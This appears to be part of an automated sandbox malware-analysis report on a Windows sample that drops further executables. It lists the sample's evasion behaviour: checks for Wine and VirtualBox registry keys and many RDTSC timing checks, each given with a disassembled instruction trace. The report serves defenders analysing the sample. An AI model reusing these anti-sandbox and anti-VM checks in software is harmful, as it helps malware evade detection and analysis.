System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF4B4 second address: 4FF4B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF4B8 second address: 4FF4EC instructions: 0x00000000 rdtsc 0x00000002 js 00007F6254B873E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F6254B873F5h 0x00000014 jmp 00007F6254B873EFh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF4EC second address: 4FF4F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF4F3 second address: 4FED4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D29EDh], esi 0x0000000e push dword ptr [ebp+122D0049h] 0x00000014 pushad 0x00000015 push ecx 0x00000016 jmp 00007F6254B873F8h 0x0000001b pop ebx 0x0000001c jl 00007F6254B873E9h 0x00000022 popad 0x00000023 call dword ptr [ebp+122D1D6Bh] 0x00000029 pushad 0x0000002a pushad 0x0000002b mov dx, C5F3h 0x0000002f jmp 00007F6254B873F9h 0x00000034 popad 0x00000035 xor eax, eax 0x00000037 mov dword ptr [ebp+122D28ABh], edx 0x0000003d jns 00007F6254B873F0h 0x00000043 mov edx, dword ptr [esp+28h] 0x00000047 jnc 00007F6254B873ECh 0x0000004d mov dword ptr [ebp+122D39A8h], eax 0x00000053 jmp 00007F6254B873F5h 0x00000058 mov esi, 0000003Ch 0x0000005d mov dword ptr [ebp+122D29EDh], ecx 0x00000063 add esi, dword ptr [esp+24h] 0x00000067 or dword ptr [ebp+122D28ABh], edi 0x0000006d lodsw 0x0000006f jnl 00007F6254B873EDh 0x00000075 cmc 0x00000076 add eax, dword ptr [esp+24h] 0x0000007a jmp 00007F6254B873F1h 0x0000007f mov ebx, dword ptr [esp+24h] 0x00000083 pushad 0x00000084 xor bx, 0D58h 0x00000089 jno 00007F6254B873E7h 0x0000008f popad 0x00000090 nop 0x00000091 push eax 0x00000092 push edx 0x00000093 jg 00007F6254B873E8h 0x00000099 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FED4E second address: 4FED65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F6254D230B6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop edx 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6843EF second address: 6843F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6843F3 second address: 6843F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6836A7 second address: 6836AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683805 second address: 683809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683809 second address: 68380D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68380D second address: 683821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F6254D230B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683821 second address: 683825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683825 second address: 68384F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 jns 00007F6254D230D6h 0x0000000f push esi 0x00000010 jmp 00007F6254D230C6h 0x00000015 pop esi 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683AB0 second address: 683ABA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6254B873E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683ABA second address: 683AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683AC0 second address: 683AE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F6254B873F4h 0x0000000a jo 00007F6254B873E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683AE1 second address: 683AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683AF2 second address: 683AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683AF8 second address: 683B10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683B10 second address: 683B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6254B873E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683B1A second address: 683B24 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6254D230B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683B24 second address: 683B29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683B29 second address: 683B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254D230BBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683CB1 second address: 683CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685583 second address: 685593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254D230BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6855DF second address: 6855FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007F6254B873E8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F6254B873ECh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6855FC second address: 685698 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6254D230CDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub dword ptr [ebp+122D1DA7h], edi 0x00000011 push 00000000h 0x00000013 mov esi, dword ptr [ebp+122D3B18h] 0x00000019 call 00007F6254D230B9h 0x0000001e jnl 00007F6254D230CAh 0x00000024 push eax 0x00000025 jc 00007F6254D230BAh 0x0000002b push ebx 0x0000002c pushad 0x0000002d popad 0x0000002e pop ebx 0x0000002f mov eax, dword ptr [esp+04h] 0x00000033 push esi 0x00000034 jmp 00007F6254D230C0h 0x00000039 pop esi 0x0000003a mov eax, dword ptr [eax] 0x0000003c pushad 0x0000003d pushad 0x0000003e pushad 0x0000003f popad 0x00000040 push edx 0x00000041 pop edx 0x00000042 popad 0x00000043 jmp 00007F6254D230C5h 0x00000048 popad 0x00000049 mov dword ptr [esp+04h], eax 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685736 second address: 685744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ebx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685744 second address: 68576E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F6254D230C0h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 jmp 00007F6254D230BAh 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68576E second address: 6857C8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov dword ptr [ebp+122D1D16h], edx 0x0000000f lea ebx, dword ptr [ebp+1245A4B2h] 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F6254B873E8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f pushad 0x00000030 mov di, 3DECh 0x00000034 mov edx, dword ptr [ebp+122D1E76h] 0x0000003a popad 0x0000003b push eax 0x0000003c push esi 0x0000003d pushad 0x0000003e jmp 00007F6254B873F8h 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6858D7 second address: 6858FB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6254D230BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6254D230BDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685A29 second address: 685A2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 697DC3 second address: 697DC8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 697DC8 second address: 697DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b jmp 00007F6254B873F6h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 697DEA second address: 697DF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7B20 second address: 6A7B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7B28 second address: 6A7B2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7B2E second address: 6A7B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7B32 second address: 6A7B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A5AC1 second address: 6A5AD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F6254B87427h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A5AD1 second address: 6A5AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254D230C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A5AEC second address: 6A5AF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A5AF0 second address: 6A5B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254D230BAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jng 00007F6254D230B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A5D6C second address: 6A5D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 jbe 00007F6254B873E6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6022 second address: 6A6028 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6028 second address: 6A602F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A69FF second address: 6A6A19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6A19 second address: 6A6A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254B873F8h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6A3E second address: 6A6A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6B93 second address: 6A6BB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6254B873F9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6BB6 second address: 6A6BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F4DA second address: 66F4F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873F8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6D0F second address: 6A6D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6D13 second address: 6A6D2B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F6254B873F2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A76CE second address: 6A76F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F6254D230B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F6254D230B8h 0x00000014 push ebx 0x00000015 jmp 00007F6254D230BCh 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A76F2 second address: 6A76FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A76FA second address: 6A76FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B146C second address: 6B1470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1470 second address: 6B1484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F6254D230B6h 0x0000000e ja 00007F6254D230B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1484 second address: 6B1488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E425 second address: 67E42D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E42D second address: 67E435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E435 second address: 67E43B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4168 second address: 6B4176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254B873EAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4176 second address: 6B417C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675EFF second address: 675F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F6254B873EBh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B7BDB second address: 6B7BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B7BDF second address: 6B7BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B7BE3 second address: 6B7BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B7DB5 second address: 6B7DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8809 second address: 6B880F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B88C7 second address: 6B88CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B88CB second address: 6B88F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jg 00007F6254D230C8h 0x0000000d xchg eax, ebx 0x0000000e sub dword ptr [ebp+122D2061h], edi 0x00000014 push eax 0x00000015 pushad 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B88F6 second address: 6B8903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F6254B873E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BAF1B second address: 6BAF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA71E second address: 6BA722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BAF1F second address: 6BAF2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA722 second address: 6BA72C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6254B873E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BAF2E second address: 6BAF7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c add si, E060h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F6254D230B8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d and edi, dword ptr [ebp+122D1EF5h] 0x00000033 push 00000000h 0x00000035 xor si, DBBBh 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push esi 0x0000003e pushad 0x0000003f popad 0x00000040 pop esi 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB917 second address: 6BB925 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB925 second address: 6BB92A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE6A4 second address: 6BE6AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC305 second address: 6BC30A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
